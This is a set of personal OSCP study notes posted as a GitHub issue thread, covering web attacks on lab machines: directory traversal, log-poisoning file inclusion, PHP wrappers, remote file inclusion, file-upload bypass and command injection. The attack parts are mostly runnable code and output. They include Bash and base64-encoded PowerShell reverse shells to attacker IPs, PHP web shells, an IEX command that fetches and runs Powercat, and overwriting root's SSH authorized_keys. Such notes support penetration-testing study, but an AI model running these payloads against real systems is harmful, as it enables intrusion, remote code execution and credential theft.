WDavid404 / OSCP

0 stars 0 forks source link

9. Common Web Application Attacks #10

Open WDavid404 opened 6 months ago

WDavid404 commented 6 months ago
WDavid404 commented 6 months ago

Directory Traversal

e.g. 'cat ../../../etc/passwd'

Directory Traversal attack

http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

case on Linux

We know the web application uses PHP and a parameter called "page", so let's assume this parameter is used to display different pages. PHP uses $_GET2 to manage variables via a GET request.

kali@kali:~$ chmod 400 dt_key

kali@kali:~$ ssh -i dt_key -p 2222 offsec@mountaindesserts.com ... offsec@68b68f3eb343:~$


### on Windows
On Windows, we can use the file C:\Windows\System32\drivers\etc\hosts to test directory traversal vulnerabilities, which is readable by all local users. 
By displaying this file, we can confirm the vulnerability exists and understand how the web application displays the contents of files. 
After confirming the vulnerability, we can try to specify files containing sensitive information such as configuration files and logs.

- For example, if we learn that a target system is running the Internet Information Services (IIS)[5](https://portal.offsec.com/courses/pen-200/books-and-videos/modal/modules/common-web-application-attacks/directory-traversal/identifying-and-exploiting-directory-traversals#fn5) web server, we can research its log paths and web root structure. Reviewing the Microsoft documentation,[6](https://portal.offsec.com/courses/pen-200/books-and-videos/modal/modules/common-web-application-attacks/directory-traversal/identifying-and-exploiting-directory-traversals#fn6) we learn that the logs are located at C:\inetpub\logs\LogFiles\W3SVC1\. 
- Another file we should always check when the target is running an IIS web server is C:\inetpub\wwwroot\web.config, which may contain sensitive information like passwords or usernames.

In this section, we used the ../ sequence for directory traversal on Linux. 
As shown, Windows uses backslashes instead of forward slashes for file paths. 
**Therefore, ..\ is an important alternative to ../ on Windows targets.**

例子: 利用directory traversal漏洞获取c:\users\install.txt文件的内容
网上例子给出的是 
`curl --path-as-is http://192.168.197.193:3000/public/plugins/alertlist/../../../../../../../../C:/Users/install.txt 
`
但是实际上下面的command才能成功,即不需要指定"C:"盘符
`curl --path-as-is http://192.168.197.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt 
`

### Encoding Special Characters
https://www.w3schools.com/tags/ref_urlencode.asp
- URL Encoding
- ASCII Encoding
Your browser will encode input, according to the character-set used in your page.
The default character-set in HTML5 is UTF-8.
For now, we will only encode the dots, which are represented as "%2e"  (UTF-8 code)
 '../' --> '%2e%2e/'

curl http://192.168.50.16/cgi-bin/../../../../etc/passwd --> curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

WDavid404 commented 6 months ago

File Inclusion Vulnerabilities

Local File Inclusion (LFI)

File inclusion vulnerabilities allow us to "include" a file in the application's running code. This means we can use file inclusion vulnerabilities to execute local or remote files, while directory traversal only allows us to read the contents of a file.

In the following example, our goal is to obtain Remote Code Execution (RCE) via an LFI vulnerability. We will do this with the help of Log Poisoning.1 Log Poisoning works by modifying data we send to a web application so that the logs contain executable code. In an LFI vulnerability scenario, the local file we include is executed if it contains executable content. This means that if we manage to write executable code to a file and include it within the running code, it will be executed.

In the following case study, we will try to write executable code to Apache's access.log file in the /var/log/apache2/ directory. We'll first need to review what information is controlled by us and saved by Apache in the related log. In this case, "controlled" means that we can modify the information before we send it to the web application. We can either read the Apache web server2 documentation or display the file via LFI.

kali@kali:~$ curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php HTTP/1.1" 200 2218 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"
...

it shows that the User Agent is included in the log entry. Before we send a request, we can modify the User Agent in Burp and specify what will be written to the access.log file.

<?php echo system($_GET['cmd']); ?> Modified Request in Burp Repeater: image

The PHP code snippet was written to Apache's access.log file. By including the log file via the LFI vulnerability, we can execute the PHP code snippet. To execute our snippet, we'll first update the page parameter in the current Burp request with a relative path. ../../../../../../../../../var/log/apache2/access.log We also need to add the cmd parameter to the URL to enter a command for the PHP snippet. First, let's enter the ps command to verify that the log poisoning is working. Since we want to provide values for the two parameters (page for the relative path of the log and cmd for our command), we can use an ampersand (&) as a delimiter. We'll also remove the User Agent line from the current Burp request to avoid poisoning the log again, which would lead to multiple executions of our command due to two PHP snippets included in the log.

The final Burp request is shown in the Request section of the following Figure. After sending our request, let's scroll down and review the output in the Response section. image image image

Let's attempt to obtain a reverse shell by adding a command to the cmd parameter. We can use a common Bash TCP reverse shell one-liner.8 The target IP for the reverse shell may need to be updated in the labs. bash -i >& /dev/tcp/192.168.119.3/4444 0>&1 Since we'll execute our command through the PHP system function, we should be aware that the command may be executed via the Bourne Shell,9 also known as sh, rather than Bash. The reverse shell one-liner in Listing 16 contains syntax that is not supported by the Bourne Shell. To ensure the reverse shell is executed via Bash, we need to modify the reverse shell command. We can do this by providing the reverse shell one-liner as argument to bash -c, which executes a command with Bash. bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"

We'll once again encode the special characters with URL encoding. bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 image

WDavid404 commented 6 months ago

File Inclusion Vulnerabilities

PHP Wrappers

PHP offers a variety of protocol wrappers to enhance the language's capabilities. For example, PHP wrappers can be used to represent and access local or remote filesystems. We can use these wrappers to bypass filters or obtain code execution via File Inclusion vulnerabilities in PHP web applications. While we'll only examine the php://filter1 and data://2 wrappers, many are available.

php://filter wrapper

We can use the php://filter wrapper to display the contents of files either with or without encodings like ROT13 or Base64. Using php://filter, we can also display the contents of executable files such as .php, rather than executing them. This allows us to review PHP files for sensitive information and analyze the web application's logic. e.g. curl http://mountaindesserts.com/meteor/index.php?page=admin.php --> curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php

curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php ===> This converts the file to a base64 string.

 then, by decoding the string, we can get sensitive info from admin.php kali@kali:~$ echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbnRlbmFuY2U8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgICAgIDw/cGhwIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojRjAwO3RleHQtYWxpZ246Y2VudGVyOyI+VGhlIGFkbWluIHBhZ2UgaXMgY3VycmVudGx5IHVuZGVyIG1haW50ZW5hbmNlLic7ID8+Cgo8P3BocAokc2VydmVybmFtZSA9ICJsb2NhbGhvc3QiOwokdXNlcm5hbWUgPSAicm9vdCI7CiRwYXNzd29yZCA9ICJNMDBuSzRrZUNhcmQhMiMiOwoKLy8gQ3JlYXRlIGNvbm5lY3Rpb24KJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCk7CgovLyBDaGVjayBjb25uZWN0aW9uCmlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewogIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d

data:// wrapper : code execution

While the php://filter wrapper can be used to include the contents of a file, we can use the data:// wrapper to achieve code execution. This wrapper is used to embed data elements as plaintext or base64-encoded data in the running web application's code. This offers an alternative method when we cannot poison a local file with PHP code. curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

When web application firewalls or other security mechanisms are in place, they may filter strings like "system" or other PHP code elements. In such a scenario, we can try to use the data:// wrapper with base64-encoded data. We'll first encode the PHP snippet into base64, then use curl to embed and execute it via the data:// wrapper.

kali@kali:~$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==

kali@kali:~$ curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
admin.php
bavarian.php
css
fonts
img
index.php
js
start.sh
...
WDavid404 commented 6 months ago

File Inclusion Vulnerabilities

Remote File Inclusion (RFI)

While LFI vulnerabilities can be used to include local files, RFI vulnerabilities allow us to include files from a remote system over HTTP1 or SMB.

In PHP web applications, for example, the allow_url_include option needs to be enabled to leverage RFI.

Kali Linux includes several PHP webshells in the /usr/share/webshells/php/ directory that can be used for RFI. In this example, we will use the simple-backdoor.php webshell to exploit an RFI vulnerability in the "Mountain Desserts" web application.

kali@kali:/usr/share/webshells/php/$ cat simple-backdoor.php
...
<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd
...

We can use the Python33 http.server4 module to start a web server on our Kali machine and serve the file we want to include remotely on the target system.

kali@kali:/usr/share/webshells/php/$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

After the web server is running with /usr/share/webshells/php/ as its current directory, we have completed all necessary steps on our attacking machine. Next, we'll use curl to include the hosted file via HTTP and specify ls as our command.

kali@kali:/usr/share/webshells/php/$ curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!-- Simple PHP backdoor by DK (http://michaeldaw.org) --> 

<pre>admin.php
bavarian.php
css
fonts
img
index.php
js
</pre>                      

Reference:

┌──(wei㉿kali)-[/usr/share/webshells/php]
└─$ ls
findsocket  php-backdoor.php  php-reverse-shell.php  qsd-php-backdoor.php  simple-backdoor.php

curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.45.227/php-reverse-shell.php"

WDavid404 commented 6 months ago

File Upload Vulnerabilities

Using Executable Files

Many web applications provide functionality to upload files. e.g. image

Figure above shows that the web application blocked our upload, stating that PHP files are not allowed and files with PHP file extensions are blacklisted. Since don't know exactly how the filter is implemented, we'll use a trial-and-error approach to find ways to bypass it.

Let's try the second method, updating our simple-backdoor.php file extension from .php to .pHP. After renaming the file either in the terminal or file explorer, we'll upload it via the web form. This small change allowed us to bypass the filter and upload the file. Let's confirm if we can use it to execute code as we did in the RFI section. The output shows that our file was uploaded to the "uploads" directory, so we can assume there is a directory named "uploads".

Let's use curl to provide dir as a command for the "cmd" parameter of our uploaded web shell. curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=dir

当target machine是windows系统时,我们可以使用the encoded reverse shell one-liner去执行reverse shell命令

  1. 制作the encoded reverse shell one-liner (Powershell)
    
    kali@kali:~$ pwsh
    PowerShell 7.1.3
    Copyright (c) Microsoft Corporation.

https://aka.ms/powershell Type 'help' to get help.

PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

PS> $EncodedText =[Convert]::ToBase64String($Bytes)

PS> $EncodedText JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0 ... AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

PS> exit


2.使用之

kali@kali:~$ curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0 ... AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA



If the target web application was using ASP instead of PHP, we could have used the same process to obtain code execution as we did in the previous example, instead uploading an ASP web shell.
Kali already contains a broad variety of web shells covering the frameworks and languages we discussed previously located in the **/usr/share/webshells/** directory.

### 
windows的情况
http://192.168.194.189/meteor/uploads/simple-backdoor.pHP?cmd=type%20C:\\xampp\\passwords.txt
WDavid404 commented 6 months ago

File Upload Vulnerabilities

Using Non-Executable Files

we need to leverage another vulnerability such as Directory Traversal to abuse the file upload mechanism.

思路: 1.上传一个test.txt文件,利用Dictory traversal找到其的相对路径(例:../../../../../../../test.txt) Let's check if the web application allows us to specify a relative path in the filename and write a file via Directory Traversal outside of the web root. We can do this by modifying the "filename" parameter in the request so it contains ../../../../../../../test.txt, then click send. image The Response area shows us that the output includes the ../ sequences.

  1. Let's try to overwrite the authorized_keys file in the home directory for root. If this file contains the public key of a private key we control, we can access the system via SSH as the root user. ==》2-1 create an SSH keypair with ssh-keygen
    
    kali@kali:~$ ssh-keygen
    Generating public/private rsa key pair.
    Enter file in which to save the key (/home/kali/.ssh/id_rsa): fileup
    Enter passphrase (empty for no passphrase): 
    Enter same passphrase again: 
    Your identification has been saved in fileup
    Your public key has been saved in fileup.pub
    ...

kali@kali:~$ cat fileup.pub > authorized_keys

2.2 Now that the authorized_keys file contains our public key, we can upload it using the relative path ../../../../../../../root/.ssh/authorized_keys.
![image](https://github.com/WDavid404/OSCP/assets/137129330/d7094ce8-5fc6-4a3c-8e3e-1e2736b75095)

If we've successfully overwritten the authorized_keys file of the root user, we should be able to use our private key to connect to the system via SSH. 

2.3 try it

kali@kali:~$ rm ~/.ssh/known_host
//Since the target system of this section is a different machine, SSH will throw an error because it cannot verify the host key it saved previously. To avoid this error, we'll delete the known_hosts file before we connect to the system.

kali@kali:~$ ssh -p 2222 -i fileup root@mountaindesserts.com

WDavid404 commented 6 months ago

Command Injection

例子:某网站支持git命令 尝试: curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive 可以动作(URL-encoded semicolon represented as "%3B")

Next, let's find out more about how our injected commands are executed. We will first determine if our commands are executed by PowerShell or CMD. In a situation like this, we can use a handy snippet, published by PetSerAl5 that displays "CMD" or "PowerShell" depending on where it is executed. (dir 2>&1 *|echo CMD);&<# rem #>echo PowerShell`

kali@kali:~$ curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive

...
See 'git help git' for an overview of the system.
PowerShell

The output contains "PowerShell", meaning that our injected commands are executed in a PowerShell environment.

We will use Powercat6 to create a reverse shell. Powercat is a PowerShell implementation of Netcat included in Kali. Let's start a new terminal, copy Powercat to the home directory for the kali user, and start a Python3 web server in the same directory.

kali@kali:~$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Next, 

kali@kali:~$ nc -nvlp 4444
listening on [any] 4444 ...

Command to download PowerCat and execute a reverse shell IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell

Again, we'll use URL encoding for the command and send it. kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive

WDavid404 commented 3 months ago

Questions

9.4.1 Q3

Target IP: 192.168.196.16 (Linux OS)
Kali: 192.168.45.193
  1. nmap -sV -T5 192.168.196.16

    22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
    80/tcp open  http    Werkzeug/2.2.2 Python/3.9.5
  2. image !!Note: single quotion marks doesn't work.

  3. bash -c ‘bash -i >& /dev/tcp/192.168.45.193/4444 0>&1’

└─$ nc -vlp 4444
listening on [any] 4444 ...
192.168.196.16: inverse host lookup failed: Unknown host
connect to [192.168.45.193] from (UNKNOWN) [192.168.196.16] 57448
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
yelnats@5637fc2325fd:/app$ sudo su
sudo su
cd /root/
ls
flag.txt

image

WDavid404 commented 3 months ago

9.4.1 Q4

Target IP: 192.168.196.192 (Windows OS)
Kali: 192.168.45.193
  1. nmap -sV -T5 192.168.196.192

    80/tcp   open  http          Microsoft IIS httpd 10.0
    135/tcp  open  msrpc         Microsoft Windows RPC
    139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
    445/tcp  open  microsoft-ds?
    8000/tcp open  http          Microsoft IIS httpd 10.0
  2. gobuster dir -u http://192.168.196.192:8000 -w /usr/share/wordlists/dirb/common.txt -x txt,pdf,config

    /About                (Status: 200) [Size: 2540]
    /about                (Status: 200) [Size: 2540]
    /account              (Status: 301) [Size: 159] [--> http://192.168.196.192:8000/account/]
    /contact              (Status: 200) [Size: 2871]
    /Contact              (Status: 200) [Size: 2871]
    /content              (Status: 301) [Size: 159] [--> http://192.168.196.192:8000/content/]
    /Content              (Status: 301) [Size: 159] [--> http://192.168.196.192:8000/Content/]
    /default              (Status: 200) [Size: 4008]
    /Default              (Status: 200) [Size: 4008]
    /favicon.ico          (Status: 200) [Size: 32038]
    /fonts                (Status: 301) [Size: 157] [--> http://192.168.196.192:8000/fonts/]
    /scripts              (Status: 301) [Size: 159] [--> http://192.168.196.192:8000/scripts/]
    /Scripts              (Status: 301) [Size: 159] [--> http://192.168.196.192:8000/Scripts/]
    Progress: 18456 / 18460 (99.98%)

    ---> no useful info.

  3. Web broswer open 8000 port and upload a test.txt file

  4. Can open text.txt file on 80 port: http://192.168.196.192/test.txt PS: gobuster can find test.txt image

  5. Accroding to Wappalyzer, we can see ASP.net is running on the backend. image

  6. prepare a ASPX file: cp /usr/share/webshells/aspx/cmdasp.aspx . !!Note: asp file doesn't work. Reason: ASP.NET server use .aspx file and Classic ASP server uses asp file.

  7. upload aspx file

  8. access the aspx file image

  9. type C:\inetpub\flag.txt